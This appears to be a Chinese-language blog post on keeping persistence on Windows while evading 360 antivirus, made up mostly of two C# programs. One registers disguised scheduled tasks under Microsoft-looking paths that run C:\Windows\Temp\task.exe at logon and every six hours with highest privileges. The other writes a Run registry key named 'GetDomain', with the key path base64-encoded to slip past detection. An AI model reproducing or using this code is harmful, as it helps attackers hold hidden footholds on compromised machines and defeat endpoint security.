通过`Windows Api`绕过360进行权限维持
计划任务
需要一个`Interop.TaskScheduler.dll`
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| using System; using System.Diagnostics; using System.IO; using System.Security.Principal; using TaskScheduler;
namespace AddTasks { class Program { static void Main(string[] args) { if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) { Console.WriteLine("需要管理员权限."); Process.GetCurrentProcess().Kill(); }
AddTasks("1", _TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON, "Microsoft\\1").Run(null); AddTasks("2", _TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME, "Microsoft\\2").Run(null); }
public static IRegisteredTask AddTasks(string author, _TASK_TRIGGER_TYPE2 runType, string taskPath) { TaskSchedulerClass t = new TaskSchedulerClass(); t.Connect( serverName: null, user: null, domain: null, password: null );
ITaskFolder folder = t.GetFolder("\\");
ITaskDefinition task = t.NewTask(0); task.RegistrationInfo.Author = author; task.RegistrationInfo.Description = "tasks"; task.Settings.Enabled = true; if (runType == _TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME) { ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); tt.Repetition.Interval = "PT6H1M"; tt.StartBoundary = "2020-04-09T14:27:25"; } else { task.Triggers.Create(runType); }
IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = @"C:\Windows\Temp\task.exe";
task.Settings.ExecutionTimeLimit = "PT0S"; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.RunOnlyIfIdle = false; task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST;
IRegisteredTask regTask = folder.RegisterTaskDefinition( taskPath, task, (int)_TASK_CREATION.TASK_CREATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "" ); switch (runType) { case _TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON: Console.WriteLine("已写入:" + taskPath); Console.WriteLine("用户登录启动"); Console.WriteLine("启动文件路径 -> " + action.Path + "\n\r"); break; case _TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME: Console.WriteLine("已写入:" + taskPath); Console.WriteLine("时间启动:每隔6小时1分钟启动一次"); Console.WriteLine("启动文件路径 -> " + action.Path + "\n\r"); break; default: break; } return regTask; } } }
|
注册表
路径HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键名GetDomain
执行C:\Windows\Temp\task.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| using Microsoft.Win32; using System; using System.Text;
namespace AddRegedit { class Program { static void Main(string[] args) { Add(); }
public static void Add() { string addRegPath = Encoding.Unicode.GetString(Convert.FromBase64String("UwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4A")); RegistryKey oKey = Registry.CurrentUser.OpenSubKey(addRegPath, true);
oKey.SetValue("GetDomain", Encoding.Unicode.GetString(Convert.FromBase64String("程序路径"))); } } }
|